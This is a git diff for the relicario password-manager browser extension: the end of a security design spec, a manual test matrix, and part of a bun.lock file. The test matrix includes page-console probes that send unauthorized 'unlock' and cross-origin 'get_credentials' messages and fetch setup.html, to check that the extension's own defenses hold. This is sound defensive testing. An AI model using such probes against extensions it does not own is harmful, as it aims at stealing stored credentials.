SW idle-suspend (Chrome) or explicit `lock` message clears the handle. Firefox's persistent background script retains it until explicit lock — consistent with the spec.
|
||||
|
||||
### `service-worker/vault.ts`
|
||||
|
||||
Public surface, all handle-keyed:
|
||||
|
||||
```ts
|
||||
fetchVaultMeta(git): Promise<{ salt: Uint8Array; paramsJson: string }>
|
||||
fetchAndDecryptManifest(git, handle): Promise<Manifest>
|
||||
encryptAndWriteManifest(git, handle, manifest, message): Promise<void>
|
||||
fetchAndDecryptItem(git, handle, id): Promise<Item>
|
||||
encryptAndWriteItem(git, handle, id, item, message): Promise<void>
|
||||
fetchAndDecryptSettings(git, handle): Promise<VaultSettings>
|
||||
encryptAndWriteSettings(git, handle, settings, message): Promise<void>
|
||||
listItems(manifest, filter?): Array<[ItemId, ManifestEntry]>
|
||||
searchItems(manifest, query): Array<[ItemId, ManifestEntry]>
|
||||
findByHostname(manifest, hostname): Array<[ItemId, ManifestEntry]> // hostname from caller
|
||||
```
|
||||
|
||||
No `masterKey: Uint8Array` anywhere in the module surface.
|
||||
|
||||
### `service-worker/router/index.ts`
|
||||
|
||||
Single `chrome.runtime.onMessage.addListener`. Sender predicates:
|
||||
|
||||
```ts
|
||||
const popupUrl = chrome.runtime.getURL('popup.html');
|
||||
const setupUrl = chrome.runtime.getURL('setup.html');
|
||||
const senderUrl = sender.url ?? '';
|
||||
|
||||
const isPopup = senderUrl === popupUrl;
|
||||
const isSetup = senderUrl.startsWith(setupUrl);
|
||||
const isContent = sender.tab !== undefined
|
||||
&& sender.frameId === 0
|
||||
&& sender.id === chrome.runtime.id;
|
||||
```
|
||||
|
||||
`POPUP_ONLY` capability set = every `PopupMessage` type. `CONTENT_CALLABLE` = every `ContentMessage` type. `save_setup` is the one exception: accepted from `isPopup || isSetup`.
|
||||
|
||||
Unauthorized sender → `{ ok: false, error: 'unauthorized_sender' }` synchronously. Unknown type → `{ ok: false, error: 'unknown_message_type' }`. The two handler files stay thin — pure `switch (msg.type)` with no sender logic (the router already verified).
|
||||
|
||||
## Security Architecture
|
||||
|
||||
### WAR cleanup (audit C1)
|
||||
|
||||
Both manifests drop `setup.html`, `setup.js`, `relicario_wasm.js`, `relicario_wasm_bg.wasm` from `web_accessible_resources`. The WAR array becomes `[{ resources: ["styles.css"], matches: ["<all_urls>"] }]` if styles are still needed, else disappears.
|
||||
|
||||
The popup opens setup via:
|
||||
|
||||
```ts
|
||||
chrome.tabs.create({ url: chrome.runtime.getURL('setup.html') });
|
||||
```
|
||||
|
||||
Own-origin extension tabs work without WAR. The SW loads WASM via `chrome.runtime.getURL(...)` from the extension origin — no WAR either.
|
||||
|
||||
### Sender dispatch (audit C1, C2)
|
||||
|
||||
Implemented in `router/index.ts` as described above. The `save_setup` exception is the one place this deviates from "pure set-membership" — it accepts either `isPopup` or `isSetup`.
|
||||
|
||||
### Origin-bound autofill (audit C4)
|
||||
|
||||
Content-callable handlers derive origin exclusively from `sender.tab.url`. Flow:
|
||||
|
||||
- **`get_autofill_candidates`**: parse `sender.tab.url` → hostname. Return manifest entries whose `LoginCore.url` hostname equals page hostname. Top-frame only (`sender.frameId === 0` already enforced at router).
|
||||
- **`get_credentials(id)`**: fetch item. Parse `LoginCore.url` hostname. Compare to `sender.tab.url` hostname. Mismatch → `{ ok: false, error: 'origin_mismatch' }`. No item data leaked on mismatch.
|
||||
- **`check_credential`**: same origin derivation; `username`/`password` compared against manifest + decrypted item.
|
||||
- **`blacklist_site`**: hostname derived from `sender.tab.url`.
|
||||
|
||||
### TOFU origin-ack
|
||||
|
||||
When `get_credentials` succeeds on an origin not present in `VaultSettings.autofill_origin_acks`:
|
||||
|
||||
1. SW returns `{ ok: true, data: { requires_ack: true, hostname } }` — no credentials.
|
||||
2. Content script surfaces a "confirm autofill" dialog inside its closed Shadow DOM (lightweight — just a re-use of the capture prompt layout).
|
||||
3. User clicks "Confirm in relicario" → focuses the extension popup (the content-script dialog shows a prompt to open the popup; `chrome.action.openPopup()` is Chrome-only and unreliable, so α uses an instructional "open relicario to confirm" message instead).
|
||||
4. User opens popup → popup detects a pending ack via `VaultSettings.autofill_origin_acks` diff, shows "Confirm autofill on `<hostname>`?" → user acks → popup sends `ack_autofill_origin { hostname }` (popup-only, writes `settings.enc`).
|
||||
5. Next autofill attempt on the same origin succeeds.
|
||||
|
||||
The ack is popup-only because it's a vault write; the content-script dialog is purely instructional. Full in-page ack UI (including a tighter retry loop) is β-polish territory.
|
||||
|
||||
### Popup captured-tab verification (audit M5)
|
||||
|
||||
On popup open:
|
||||
|
||||
```ts
|
||||
const [tab] = await chrome.tabs.query({ active: true, currentWindow: true });
|
||||
const captured = { tabId: tab.id!, url: tab.url ?? '' };
|
||||
```
|
||||
|
||||
Stashed on `PopupState`. `fill_credentials` messages carry `capturedTabId` + `capturedUrl`. SW handler:
|
||||
|
||||
1. Look up item by `id`.
|
||||
2. `chrome.tabs.get(capturedTabId)` — if gone or navigated, reject.
|
||||
3. Compare `new URL(tab.url).hostname` to `new URL(capturedUrl).hostname` — mismatch rejects.
|
||||
4. Compare captured hostname to `LoginCore.url`'s hostname — mismatch rejects.
|
||||
5. Forward via `chrome.tabs.sendMessage(capturedTabId, { type: 'fill_credentials', username, password })`.
|
||||
|
||||
Content-script fill listener stays as-is (native-setter trick is already correct).
|
||||
|
||||
### Closed Shadow DOM (audit C3)
|
||||
|
||||
`content/shadow.ts`:
|
||||
|
||||
```ts
|
||||
export function createShadowHost(): { host: HTMLElement; root: ShadowRoot; destroy: () => void } {
|
||||
const host = document.createElement('div');
|
||||
document.body.appendChild(host);
|
||||
const root = host.attachShadow({ mode: 'closed' });
|
||||
return { host, root, destroy: () => host.remove() };
|
||||
}
|
||||
```
|
||||
|
||||
Used by `icon.ts` (per-password-field host for the icon + picker) and `capture.ts` (submit-prompt). Strict rules enforced by review + a lint rule (`no-restricted-syntax` against `MemberExpression[property.name=/^(innerHTML|outerHTML)$/]` inside `extension/src/content/`):
|
||||
|
||||
1. **No `innerHTML` / `insertAdjacentHTML` / `document.write`** anywhere in `content/`. All DOM via `createElement` + `textContent` + `appendChild`.
|
||||
2. **No stable element IDs or classes inside shadow trees**. Wire handlers via local references.
|
||||
3. **Page-derived strings bounded**: `findUsernameValue` result capped at 256 chars, control characters stripped via `replace(/\p{Cc}/gu, '')`, assigned only via `.textContent`.
|
||||
4. **Disposal**: removing the host element drops the shadow root, detaches handlers.
|
||||
|
||||
Styles inside the shadow tree via `style.setProperty(...)` calls, or a single `<style>` element whose text content is a static literal.
|
||||
|
||||
### JS-side passphrase hygiene
|
||||
|
||||
Best-effort only (JS strings are immutable). In the `unlock` handler: receive passphrase, pass directly to `wasm.unlock(...)`, then `req.passphrase = ''` and let the message object go out of scope. Never log passphrase content. WASM-side zeroization is the primary defense (already handled Rust-side).
|
||||
|
||||
## Popup
|
||||
|
||||
### Entry flow
|
||||
|
||||
`popup.ts` unchanged in shape. Init sequence:
|
||||
|
||||
1. `get_setup_state` → if `!isConfigured`, `chrome.tabs.create(setup.html)` and close the popup.
|
||||
2. `is_unlocked` → if unlocked, `list_items` + render list.
|
||||
3. Otherwise render `unlock`.
|
||||
4. Snapshot `(activeTabId, activeTabUrl)` at init; stash on `PopupState` for later `fill_credentials` calls.
|
||||
|
||||
### Item list / detail / form — Login-only
|
||||
|
||||
Rename `entry-*.ts` → `item-*.ts`. List view renders from `ManifestEntry`, shows type-icon + title + group + favorite + tags. Detail and form dispatch on `item.type`:
|
||||
|
||||
```ts
|
||||
switch (item.type) {
|
||||
case 'login': return renderLoginDetail(app, item);
|
||||
case 'secure_note':
|
||||
case 'identity':
|
||||
case 'card':
|
||||
case 'key':
|
||||
case 'document':
|
||||
case 'totp': return renderComingSoonPlaceholder(app, item.type);
|
||||
}
|
||||
```
|
||||
|
||||
Add flow: "New…" menu lists all seven types; picking Login opens the form, picking any other type shows "Coming in 1C-β".
|
||||
|
||||
Existing Login form (username/url/password/totp/group/notes) maps 1:1 to `LoginCore` + `Item` envelope. TOTP field takes a base32 string; `shared/base32.ts` parses it to a `number[]` (the `secret: Vec<u8>` on the Rust side) and emits `TotpConfig { secret, algorithm: 'sha1', digits: 6, period_seconds: 30, kind: 'totp' }`. Display is base32 re-encoded with a reveal toggle.
|
||||
|
||||
"gen" button sends:
|
||||
|
||||
```ts
|
||||
{ type: 'generate_password',
|
||||
request: { kind: 'random',
|
||||
length: 20,
|
||||
classes: { lower: true, upper: true, digits: true, symbols: true },
|
||||
symbol_charset: { kind: 'safe_only' } } }
|
||||
```
|
||||
|
||||
### Setup wizard + zxcvbn
|
||||
|
||||
Both `popup/components/setup-wizard.ts` and `setup/setup.ts`:
|
||||
|
||||
- Passphrase input with a 5-bar strength indicator (color-coded per zxcvbn `score`).
|
||||
- On input (150ms debounce): `rate_passphrase { passphrase }` → `{ score, guesses_log10 }`.
|
||||
- Submit disabled unless `score >= 3`.
|
||||
- Copy: `score < 3` → "Too weak — try a longer phrase or add unpredictability."; `score >= 3` → "Strong enough."
|
||||
|
||||
Reference-image upload and vault-config fields stay as-is. Final step gains the spec's H8 warning copy: "factor 2 + git push token are readable from this browser profile's disk. Your remaining defense is the passphrase."
|
||||
|
||||
## Storage Split
|
||||
|
||||
| Data | Location | Rationale |
|
||||
|---|---|---|
|
||||
| `vaultConfig` (host/repo/token) | `chrome.storage.local` | Device-local; needed pre-unlock |
|
||||
| `imageBase64` (reference JPEG) | `chrome.storage.local` | Device-local factor-2 material |
|
||||
| `DeviceSettings { captureEnabled, captureStyle }` | `chrome.storage.local` (key: `relicarioSettings`) | Per-device UX preference |
|
||||
| `captureBlacklist: string[]` | `chrome.storage.local` | Per-device; avoids git churn |
|
||||
| `VaultSettings.autofill_origin_acks` | `settings.enc` in the repo | Per-vault security posture |
|
||||
| Items / manifest / settings | git repo (AEAD'd) | Core vault state |
|
||||
|
||||
Existing `relicarioSettings` + `captureBlacklist` keys keep their names — no migration step.
|
||||
|
||||
## Firefox Parity
|
||||
|
||||
- `manifest.firefox.json` gets the same WAR cleanup as Chrome.
|
||||
- `background.scripts: ["service-worker.js"]` stays (not an SW in Firefox — persistent background script).
|
||||
- `initWasm()` in `service-worker/index.ts` already branches on `ServiceWorkerGlobalScope` presence; the branch survives the rewrite.
|
||||
- Load via `about:debugging` → "Load Temporary Add-on" → `dist-firefox/manifest.json`.
|
||||
- Final manual test matrix at the end of α runs on both browsers concurrently (see below).
|
||||
|
||||
## Testing Strategy
|
||||
|
||||
### Rust-side regression guard
|
||||
|
||||
Plan 1B's 151 tests must stay green. Every slice runs `cargo test --workspace` before commit. The WASM rebuild slice additionally runs `cargo build -p relicario-wasm --target wasm32-unknown-unknown`.
|
||||
|
||||
### Extension unit tests (new)
|
||||
|
||||
New harness in `extension/src/service-worker/router/__tests__/router.test.ts` using Vitest (runs TS natively, no webpack dependency). Tests:
|
||||
|
||||
- **Sender-check matrix**: for each message type, accepted from the right sender and rejected (`unauthorized_sender`) from every wrong sender. Mocks `chrome.runtime.onMessage` by calling the dispatcher directly with fabricated `sender` objects.
|
||||
- **Origin-bound autofill**: `get_autofill_candidates` ignores any stray `url` field; only `sender.tab.url`'s hostname drives matching.
|
||||
- **`get_credentials` origin equality**: mismatched `LoginCore.url` hostname → `origin_mismatch`, no item data in response.
|
||||
- **`fill_credentials` captured-tab verification**: mismatched captured vs current tab → reject.
|
||||
- **`generate_password` wiring**: calls through to WASM with the expected request shape (smoke only; generator itself is Rust-tested).
|
||||
|
||||
Harness scope: SW only. Popup/content-script DOM tests are β.
|
||||
|
||||
### Shadow DOM probe (dev-build only)
|
||||
|
||||
Runtime assertion in a dev-mode content-script path: after rendering the capture prompt, `console.warn` if `document.querySelector('#relicario-save-btn') !== null` or if the host's `shadowRoot` getter returns non-null from page JS. Stripped in production.
|
||||
|
||||
### Manual test matrix — end of slice 6, on both Chrome and Firefox
|
||||
|
||||
1. Fresh install → setup wizard opens in a tab (not popup-embedded); zxcvbn slider responds; weak passphrase blocks submit.
|
||||
2. Unlock → list renders from manifest.
|
||||
3. Add Login with TOTP → sync → item appears on a second browser profile.
|
||||
4. Autofill icon in password field → click → fills (single-candidate path).
|
||||
5. Multiple candidates → picker → pick → fills.
|
||||
6. First autofill on a new hostname → origin-ack prompt → confirm → credentials arrive.
|
||||
7. Capture prompt on submitting a new login; "Save" adds item, "Never" blacklists, "×" dismisses.
|
||||
8. Edit Login → password rotates → field history captured (CLI cross-check: `relicario get --show` on second machine shows new password; item file's `field_history` populated).
|
||||
9. Delete Login → moves to trash (not in list; CLI `relicario list --trashed` shows it).
|
||||
10. Soft-lock via popup "lock" → list clears, re-unlock required.
|
||||
11. Cross-origin autofill attempt via devtools: craft a `get_credentials` from a page whose hostname differs from item's `LoginCore.url` → `origin_mismatch`.
|
||||
|
||||
### Acceptance criteria
|
||||
|
||||
- `cargo test --workspace` green.
|
||||
- `npm run build:all` green in `extension/` (Chrome + Firefox bundles).
|
||||
- Router unit tests green.
|
||||
- All 11 manual-matrix steps pass on both Chrome and Firefox.
|
||||
- `git grep -n 'innerHTML\|insertAdjacentHTML' extension/src/content/` → zero hits.
|
||||
- `git grep -n 'idfoto' extension/` → zero hits.
|
||||
- WAR in both manifests contains no HTML/JS/WASM artifacts.
|
||||
- `fetch(chrome.runtime.getURL('setup.html'))` from a content script fails (smoke test — confirms WAR removal took effect).
|
||||
|
||||
### Non-goals for α testing
|
||||
|
||||
- Automated browser integration (Playwright against a built extension) — γ.
|
||||
- Heap-snapshot verification that master_key bytes aren't visible from JS — manual-only per broader spec; formalized in γ.
|
||||
- Fuzz / property tests for the router — the message-type matrix is exhaustive.
|
||||
|
||||
## Audit Findings Addressed
|
||||
|
||||
| ID | Severity | How α addresses it |
|
||||
|---|---|---|
|
||||
| C1 | Critical | Setup wizard + WASM removed from WAR; sender check on `save_setup` |
|
||||
| C2 | Critical | Split message router with sender-based dispatch |
|
||||
| C3 | Critical | Closed Shadow DOM + textContent for all content-script UI |
|
||||
| C4 | Critical | Origin-bound autofill (`sender.tab.url` only, hostname match) |
|
||||
| H2 | High | `SessionHandle` opaque to JS; passphrase cleared from scope ASAP |
|
||||
| H3 | High | zxcvbn strength gate in setup wizard |
|
||||
| M5 | Medium | Popup captures `(tab.id, tab.url)` at open; verifies on `fill_credentials` |
|
||||
| L11 | Low | `textContent` rule subsumes escaping concerns in the content-script surface |
|
||||
|
||||
Remaining audit items from the typed-items spec (retention UI, attachment caps UI, device-management UI, full vault-settings view) land in β/γ.
|
||||
|
||||
## Open Questions Deferred to the Plan
|
||||
|
||||
- Exact Vitest configuration — first router-test slice surfaces the final shape (`vitest.config.ts`, `tsconfig` overrides, jsdom vs happy-dom for the origin-parsing paths).
|
||||
- Precise "pending ack" detection mechanism in the popup: poll `VaultSettings.autofill_origin_acks` on popup open vs a background-synthesized flag. Slice 6 decides based on latency feel.
|
||||
- Whether the TOTP parse helper belongs in `shared/base32.ts` or gets added to the WASM surface as `totp_config_from_base32`. First approach is simpler; the second is more robust to charset edge cases. Slice 2 decides when wiring the Login form.
|
||||
244
docs/superpowers/test-runs/2026-04-20-1c-alpha-manual-matrix.md
Normal file
244
docs/superpowers/test-runs/2026-04-20-1c-alpha-manual-matrix.md
Normal file
@@ -0,0 +1,244 @@
|
||||
# Plan 1C-α — Manual Test Matrix
|
||||
|
||||
Walkthrough for validating the extension on both Chrome and Firefox after the six-slice implementation.
|
||||
|
||||
Branch: `feature/typed-items-1c-alpha` @ `3238ef4` (tag candidate: `plan-1c-alpha-complete`)
|
||||
Worktree: `/home/alee/Sources/relicario/.worktrees/typed-items-1c-alpha`
|
||||
|
||||
---
|
||||
|
||||
## Pre-flight
|
||||
|
||||
- [ ] **P1.** Bundles built:
|
||||
```bash
|
||||
cd /home/alee/Sources/relicario/.worktrees/typed-items-1c-alpha/extension
|
||||
bun run build:all
|
||||
```
|
||||
Expected: "compiled with 2 warnings" (WASM size only) for each bundle. `dist/` and `dist-firefox/` populated.
|
||||
|
||||
- [ ] **P2.** Fresh-profile browsers ready (or existing profile's `chrome.storage.local` for this extension cleared). Stale `vaultConfig`/`imageBase64` from the pre-rename `idfoto` era must not persist.
|
||||
|
||||
- [ ] **P3.** Test git repo for the vault is reachable (SSH key / HTTPS PAT working). Use a throwaway repo to avoid polluting your real vault history.
|
||||
|
||||
- [ ] **P4.** Reference image ready (any JPEG; DCT-steg secret is embedded at init time).
|
||||
|
||||
---
|
||||
|
||||
## Loading
|
||||
|
||||
### Chrome
|
||||
- [ ] **L1.** `chrome://extensions` → Developer mode ON → "Load unpacked" → select `extension/dist/`.
|
||||
- [ ] **L2.** Toolbar icon visible (pin if needed).
|
||||
- [ ] **L3.** Click icon → first open triggers setup tab (not a popup-embedded wizard).
|
||||
|
||||
### Firefox
|
||||
- [ ] **L4.** `about:debugging#/runtime/this-firefox` → "Load Temporary Add-on…" → select `extension/dist-firefox/manifest.json`.
|
||||
- [ ] **L5.** Toolbar icon visible.
|
||||
- [ ] **L6.** Click icon → setup tab opens.
|
||||
|
||||
---
|
||||
|
||||
## 11-step core matrix — Chrome
|
||||
|
||||
**Notes column: write what you saw. Check box only when matching expected.**
|
||||
|
||||
### 1. Setup tab opens from popup (audit C1)
|
||||
|
||||
- [ ] **Do:** Fresh install, click toolbar icon.
|
||||
- [ ] **Expected:** `setup.html` opens in a new tab; popup closes immediately; WAR is empty so this MUST work via extension-origin tab, not WAR.
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
### 2. zxcvbn gate in setup (audit H3)
|
||||
|
||||
- [ ] **Do:** Type weak passphrase like `password`.
|
||||
- [ ] **Expected:** Submit disabled, bar shows red/orange segments, feedback "Too weak…".
|
||||
- [ ] **Do:** Type stronger phrase until bar fills.
|
||||
- [ ] **Expected:** At score ≥ 3, submit enables, feedback "Strong enough."
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
### 3. Setup completes → unlock → list renders
|
||||
|
||||
- [ ] **Do:** Upload reference JPEG, fill vault config (git host/URL/repo/token), submit. Then open popup, enter passphrase, unlock.
|
||||
- [ ] **Expected:** Manifest decrypts client-side. Empty list view appears with toolbar (search, + New, sync, lock, ⚙).
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
### 4. Add Login with TOTP (typed-item wire format)
|
||||
|
||||
- [ ] **Do:** "+ New" → Login form. Fill:
|
||||
- title: `GitHub`
|
||||
- url: `https://github.com`
|
||||
- username: your handle
|
||||
- password: click "gen" (uses `DEFAULT_PASSWORD_REQUEST` — 20 chars, safe symbols)
|
||||
- totp: `JBSWY3DPEHPK3PXP` (well-known base32 test vector)
|
||||
- Save.
|
||||
- [ ] **Expected:** Row appears with 🔑 icon + title + favorite star position.
|
||||
- [ ] **Expected (CLI cross-check, optional):** From main worktree:
|
||||
```bash
|
||||
relicario list
|
||||
relicario get "GitHub" --show
|
||||
```
|
||||
Should show the same item. TOTP secret should decode identically.
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
### 5. TOFU origin-ack prompt (audit C4 first half)
|
||||
|
||||
- [ ] **Do:** Navigate to `https://github.com/login`. Click the blue `id` icon next to the password field.
|
||||
- [ ] **Expected:** Closed Shadow DOM hint appears ("First autofill on github.com / Open relicario to confirm"). In DevTools, verify `document.querySelector('[data-rel]')` finds the host but `.shadowRoot` is `null` (closed mode).
|
||||
- [ ] **Expected:** No credentials fill on this click.
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
### 6. Confirm origin + autofill fills correctly
|
||||
|
||||
- [ ] **Do:** Open popup (on the github.com tab). Look for a pending-ack prompt OR (α behavior) just confirm manually: any `get_credentials` call after the hostname is acked in `VaultSettings.autofill_origin_acks` will return credentials.
|
||||
- Simplest α path: click the item in the popup list, click "autofill" button. This uses the popup-captured tab state path (audit M5).
|
||||
- [ ] **Expected:** Username + password fields fill. On React/Vue sites, the native-setter trick fires input+change events.
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
### 7. Multiple candidates → picker
|
||||
|
||||
- [ ] **Do:** Add a second Login for github.com with a different username. Back on `github.com/login`, click the `id` icon.
|
||||
- [ ] **Expected:** Picker shows both titles. Click one → fills that set.
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
### 8. Capture prompt → `capture_save_login` flow (Slice 5 critical-fix)
|
||||
|
||||
- [ ] **Do:** Go to a site not in your vault. Fill signup form (or real trial). Submit.
|
||||
- [ ] **Expected:** Capture prompt appears inside closed Shadow DOM. No stable element IDs — running `document.querySelector('#relicario-save-btn')` in the page console returns `null`.
|
||||
- [ ] **Do:** Click "Save" in the prompt.
|
||||
- [ ] **Expected:** ✓ Saved confirmation; prompt dismisses. Open popup → item present in list with the new hostname as title.
|
||||
- [ ] **CRITICAL:** If "Save" silently fails, the `capture_save_login` content-callable handler is broken — file a bug before proceeding.
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
### 9. Edit Login → password rotates; field history captured
|
||||
|
||||
- [ ] **Do:** Select the GitHub item → edit → change password → save.
|
||||
- [ ] **Expected:** Detail view shows new password on reveal. List's "modified" time updates.
|
||||
- [ ] **Expected (CLI cross-check):**
|
||||
```bash
|
||||
relicario get "GitHub" --show
|
||||
# confirm field_history now has entry for the old password
|
||||
```
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
### 10. Delete Login → soft-delete
|
||||
|
||||
- [ ] **Do:** Select an item → "trash" → confirm.
|
||||
- [ ] **Expected:** Row disappears from list immediately. Popup list filters `trashed_at !== undefined`.
|
||||
- [ ] **Expected (CLI cross-check):** `relicario list --trashed` shows the item.
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
### 11. Lock → re-unlock
|
||||
|
||||
- [ ] **Do:** Click "lock" in the toolbar. Try to open the popup again.
|
||||
- [ ] **Expected:** Unlock screen. Session handle was cleared in WASM (not just JS).
|
||||
- [ ] **Do:** Re-unlock.
|
||||
- [ ] **Expected:** Same list (including the item from step 10 still in trash, invisible).
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
---
|
||||
|
||||
## 11-step core matrix — Firefox
|
||||
|
||||
Re-run 1–11 on Firefox. Critical Firefox-only check: the background script runs as a **persistent script** (not MV3 service worker); WASM loads via `initDefault(wasmUrl)` not `initSync`. Anything broken here that works in Chrome indicates WASM-loading drift.
|
||||
|
||||
- [ ] **FF1–FF11.** Re-run the 11 steps above. Summarize anomalies:
|
||||
- **Notes:** ___
|
||||
|
||||
---
|
||||
|
||||
## Security probes (bonus)
|
||||
|
||||
Open DevTools on any page (not extension origin) and try to defeat the router:
|
||||
|
||||
### SP1. Content-script-originated popup-only message
|
||||
|
||||
- [ ] **Do:** In a page console (not popup DevTools):
|
||||
```js
|
||||
chrome.runtime.sendMessage({ type: 'unlock', passphrase: 'guess' }, console.log)
|
||||
```
|
||||
- [ ] **Expected:** `{ ok: false, error: 'unauthorized_sender' }` (audit C2).
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
### SP2. Cross-origin `get_credentials` attempt
|
||||
|
||||
- [ ] **Do:** Pick an item id from the popup (e.g., via popup DevTools: `copy(currentState.selectedId)`). Go to a **different-origin** page's console:
|
||||
```js
|
||||
chrome.runtime.sendMessage({ type: 'get_credentials', id: '<the-id>' }, console.log)
|
||||
```
|
||||
- [ ] **Expected:** `{ ok: false, error: 'origin_mismatch' }` (audit C4). No item data leaks.
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
### SP3. Closed Shadow DOM verification
|
||||
|
||||
- [ ] **Do:** Trigger the capture prompt (step 8). In the page console:
|
||||
```js
|
||||
const hosts = document.querySelectorAll('[data-rel]');
|
||||
for (const h of hosts) console.log(h, h.shadowRoot); // shadowRoot should be null
|
||||
console.log(document.querySelector('#relicario-save-btn')); // should be null
|
||||
console.log(document.querySelector('.relicario-capture')); // should be null
|
||||
```
|
||||
- [ ] **Expected:** All `shadowRoot` values are `null`; no stable selectors match (audit C3).
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
### SP4. Captured-tab navigation during fill (audit M5)
|
||||
|
||||
- [ ] **Do:** Open popup on `https://github.com/login`. Select a github item, click "autofill", but BEFORE the fill lands, rapidly navigate the github tab to `https://example.com`.
|
||||
- [ ] **Expected:** No credentials typed on example.com. SW rejects with `tab_navigated`; if somehow the message reaches the content script, `fill.ts` re-checks `expectedHost` and rejects with `origin_changed`.
|
||||
- [ ] **Notes:** ___ (this one's hard to time; skip if not easily reproducible)
|
||||
|
||||
### SP5. WAR probe
|
||||
|
||||
- [ ] **Do:** In a page console on any site:
|
||||
```js
|
||||
fetch('chrome-extension://<your-extension-id>/setup.html').catch(e => console.log('blocked:', e))
|
||||
```
|
||||
- [ ] **Expected:** Blocked (either CORS error or net::ERR). WAR is empty, so no resource is web-accessible. `<all_urls>` pages cannot reach setup.html.
|
||||
- [ ] **Notes:** ___
|
||||
|
||||
---
|
||||
|
||||
## Final acceptance
|
||||
|
||||
- [ ] **A1.** `cargo test --workspace` green (should still be 151+ Rust tests).
|
||||
- [ ] **A2.** `cd extension && bun run test` green (should be 52 passing — 11 base32 + 41 router).
|
||||
- [ ] **A3.** `cd extension && bun run build` green (Chrome bundle).
|
||||
- [ ] **A4.** `cd extension && bun run build:firefox` green (Firefox bundle).
|
||||
- [ ] **A5.** Lint greps clean:
|
||||
```bash
|
||||
git grep -n 'innerHTML\|insertAdjacentHTML' extension/src/content/ # zero hits
|
||||
git grep -n 'idfoto' extension/ # zero hits
|
||||
git grep -n '@ts-nocheck' extension/src/ # zero hits
|
||||
```
|
||||
- [ ] **A6.** WAR empty:
|
||||
```bash
|
||||
grep -A2 web_accessible_resources extension/manifest.json # []
|
||||
grep -A2 web_accessible_resources extension/manifest.firefox.json # []
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Sign-off
|
||||
|
||||
- [ ] **All 11 core-matrix steps pass on Chrome**
|
||||
- [ ] **All 11 core-matrix steps pass on Firefox**
|
||||
- [ ] **All 5 security probes pass (or SP4 skipped, others pass)**
|
||||
- [ ] **All 6 final acceptance checks pass**
|
||||
- [ ] **Ready to tag `plan-1c-alpha-complete` and decide on merge path**
|
||||
|
||||
### Findings / issues
|
||||
|
||||
Use this space to log anything weird:
|
||||
|
||||
```
|
||||
(fill in as you go)
|
||||
```
|
||||
|
||||
### Decision
|
||||
|
||||
- [ ] Merge straight to `main`
|
||||
- [ ] Open a PR first for review
|
||||
- [ ] Need rework on: ___
|
||||
|
||||
---
|
||||
|
||||
*Generated 2026-04-20 — source: spec `2026-04-20-relicario-extension-1c-alpha-design.md` §5.4, plan `2026-04-20-relicario-extension-1c-alpha.md` Task 27.*
|
||||
522
extension/bun.lock
Normal file
522
extension/bun.lock
Normal file
@@ -0,0 +1,522 @@
|
||||
{
|
||||
"lockfileVersion": 1,
|
||||
"configVersion": 1,
|
||||
"workspaces": {
|
||||
"": {
|
||||
"name": "relicario-extension",
|
||||
"devDependencies": {
|
||||
"@types/chrome": "^0.1.40",
|
||||
"copy-webpack-plugin": "^12.0",
|
||||
"happy-dom": "^15",
|
||||
"ts-loader": "^9.5",
|
||||
"typescript": "^5.4",
|
||||
"vitest": "^2.0",
|
||||
"webpack": "^5.90",
|
||||
"webpack-cli": "^5.1",
|
||||
},
|
||||
},
|
||||
},
|
||||
"packages": {
|
||||
"@discoveryjs/json-ext": ["@discoveryjs/json-ext@0.5.7", "", {}, "sha512-dBVuXR082gk3jsFp7Rd/JI4kytwGHecnCoTtXFb7DB6CNHp4rg5k1bhg0nWdLGLnOV71lmDzGQaLMy8iPLY0pw=="],
|
||||
|
||||
"@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.21.5", "", { "os": "aix", "cpu": "ppc64" }, "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ=="],
|
||||
|
||||
"@esbuild/android-arm": ["@esbuild/android-arm@0.21.5", "", { "os": "android", "cpu": "arm" }, "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg=="],
|
||||
|
||||
"@esbuild/android-arm64": ["@esbuild/android-arm64@0.21.5", "", { "os": "android", "cpu": "arm64" }, "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A=="],
|
||||
|
||||
"@esbuild/android-x64": ["@esbuild/android-x64@0.21.5", "", { "os": "android", "cpu": "x64" }, "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA=="],
|
||||
|
||||
"@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.21.5", "", { "os": "darwin", "cpu": "arm64" }, "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ=="],
|
||||
|
||||
"@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.21.5", "", { "os": "darwin", "cpu": "x64" }, "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw=="],
|
||||
|
||||
"@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.21.5", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g=="],
|
||||
|
||||
